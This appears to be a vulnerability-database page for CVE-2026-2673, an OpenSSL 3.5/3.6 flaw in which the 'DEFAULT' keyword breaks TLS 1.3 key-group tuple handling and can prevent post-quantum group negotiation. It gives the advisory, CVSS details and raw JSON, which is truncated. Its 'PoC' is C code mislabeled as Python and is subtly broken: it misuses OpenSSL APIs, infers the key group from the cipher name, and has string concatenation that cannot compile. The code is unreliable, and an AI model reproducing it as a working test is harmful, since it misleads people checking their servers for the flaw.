Security Vulnerability Report
中文
CVE-2026-2673 CVSS 6.5 MEDIUM

CVE-2026-2673

Published: 2026-03-13 19:54:34
Last Modified: 2026-05-18 20:16:38

Description

Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

OpenSSL 3.6 < 3.6.2
OpenSSL 3.5 < 3.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-2673 PoC - OpenSSL TLS 1.3 Key Exchange Group Selection Issue * This PoC demonstrates the vulnerability where using 'DEFAULT' keyword * causes loss of tuple structure, preventing proper post-quantum group negotiation. * * Build: gcc -o cve2026_poc cve2026_poc.c -lssl -lcrypto * Run: ./cve2026_poc <server_ip> <port> */ #include <stdio.h> #include <string.h> #include <openssl/ssl.h> #include <openssl/err.h> #define TARGET_HOST argv[1] #define TARGET_PORT argv[2] void print_tls_groups(SSL *ssl) { const char *groups = SSL_get0_peer_supported_groups(ssl); if (groups) { printf("[*] Server supported groups: %s\n", groups); } /* Check if post-quantum groups are available */ if (strstr(groups, "X25519MLKEM768") != NULL) { printf("[!] Server supports X25519MLKEM768 but may not negotiate it properly\n"); } } int main(int argc, char **argv) { SSL_CTX *ctx; SSL *ssl; BIO *bio; if (argc < 3) { printf("Usage: %s <host> <port>\n", argv[0]); return 1; } /* Initialize OpenSSL */ SSL_library_init(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); /* Create SSL context for TLS 1.3 client */ ctx = SSL_CTX_new(TLS_client_method()); SSL_CTX_set_min_proto_version(ctx, TLS1_3_VERSION); SSL_CTX_set_max_proto_version(ctx, TLS1_3_VERSION); /* Configure to request post-quantum hybrid groups */ SSL_CTX_set1_groups_list(ctx, "X25519MLKEM768:P-256"); /* Create SSL connection */ ssl = SSL_new(ctx); bio = BIO_new_ssl_connect(ctx); BIO_set_conn_hostname(bio, TARGET_HOST ":" TARGET_PORT); SSL_set_bio(ssl, bio, bio); /* Attempt connection */ if (SSL_connect(ssl) <= 0) { printf("[!] Connection failed: %s\n", ERR_error_string(ERR_get_error(), NULL)); return 1; } printf("[*] TLS 1.3 connection established\n"); print_tls_groups(ssl); /* Check negotiated cipher */ const char *cipher = SSL_get_cipher(ssl); printf("[*] Negotiated cipher: %s\n", cipher); /* The vulnerability: even if server supports X25519MLKEM768, * it may negotiate a less secure group due to DEFAULT keyword issue */ if (strstr(cipher, "TLS_AES_256_GCM_SHA384") == NULL) { printf("[!] WARNING: Post-quantum group may not be negotiated properly!\n"); } SSL_shutdown(ssl); SSL_free(ssl); SSL_CTX_free(ctx); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2673", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:34.033", "lastModified": "2026-05-18T20:16:37.763", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected\npreferred key exchange group when its key exchange group configuration includes\nthe default by using the 'DEFAULT' keyword.\n\nImpact summary: A less preferred key exchange may be used even when a more\npreferred group is supported by both client and server, if the group\nwas not included among the client's initial predicated keyshares.\nThis will sometimes be the case with the new hybrid post-quantum groups,\nif the client chooses to defer their use until specifically requested by\nthe server.\n\nIf an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to\ninterpolate the built-in default group list into its own configuration, perhaps\nadding or removing specific elements, then an implementation defect causes the\n'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups\nwere treated as a single sufficiently secure 'tuple', with the server not\nsending a Hello Retry Request (HRR) even when a group in a more preferred tuple\nwas mutually supported.\n\nAs a result, the client and server might fail to negotiate a mutually supported\npost-quantum key agreement group, such as 'X25519MLKEM768', if the client's\nconfiguration results in only 'classical' groups (such as 'X25519' being the\nonly ones in the client's initial keyshare prediction).\n\nOpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS\n1.3 key agreement group on TLS servers. The old syntax had a single 'flat'\nlist of groups, and treated all the supported groups as sufficiently secure.\nIf any of the keyshares predicted by the client were supported by the server\nthe most preferred among these was selected, even if other groups supported by\nthe client, but not included in the list of predicted keyshares would have been\nmore preferred, if included.\n\nThe new syntax partitions the groups into distinct 'tuples' of roughly\nequivalent security. Within each tuple the most preferred group included among\nthe client's predicted keyshares is chosen, but if the client supports a group\nfrom a more preferred tuple, but did not predict any corresponding keyshares,\nthe server will ask the client to retry the ClientHello (by issuing a Hello\nRetry Request or HRR) with the most preferred mutually supported group.\n\nThe above works as expected when the server's configuration uses the built-in\ndefault group list, or explicitly defines its own list by directly defining the\nvarious desired groups and group 'tuples'.\n\nNo OpenSSL FIPS modules are affected by this issue, the code in question lies\noutside the FIPS boundary.\n\nOpenSSL 3.6 and 3.5 are vulnerable to this issue.\n\nOpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released.\nOpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.\n\nOpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue."}, {"lang": "es", "value": "Resumen del problema: Un servidor OpenSSL TLS 1.3 puede fallar al negociar el grupo de intercambio de claves preferido esperado cuando su configuración de grupo de intercambio de claves incluye el predeterminado al usar la palabra clave 'DEFAULT'.\n\nResumen del impacto: Un intercambio de claves menos preferido puede ser usado incluso cuando un grupo más preferido es soportado tanto por el cliente como por el servidor, si el grupo no fue incluido entre los keyshares iniciales predichos del cliente. Este será a veces el caso con los nuevos grupos híbridos post-cuánticos, si el cliente elige aplazar su uso hasta que sea solicitado específicamente por el servidor.\n\nSi la configuración de un servidor OpenSSL TLS 1.3 usa la palabra clave 'DEFAULT' para interpolar la lista de grupos predeterminada incorporada en su propia configuración, quizás añadiendo o eliminando elementos específicos, entonces un defecto de implementación causa que la lista 'DEFAULT' pierda su estructura de 'tupla', y todos los grupos soportados por el servidor fueron tratados como una única 'tupla' suficientemente segura, con el servidor no enviando una Solicitud de Reintento de Hello (HRR) incluso cuando un grupo en una tupla más preferida era mutuamente soportado.\n\nComo resultado, el cliente y el servidor podrían fallar al negociar un grupo de acuerdo de clave post-cuántico mutuamente soportado, como 'X25519MLKEM768', si la configuración del cliente resulta en solo grupos 'clásicos' (como 'X25519' siendo los únicos en la predicción inicial de keyshare del cliente).\n\nOpenSSL 3.5 y posteriores soportan una nueva sintaxis para seleccionar el grupo de acuerdo de clave TLS 1.3 más preferido en servidores TLS. La sintaxis antigua tenía una única lista 'plana' de grupos, y trataba todo ... (truncated)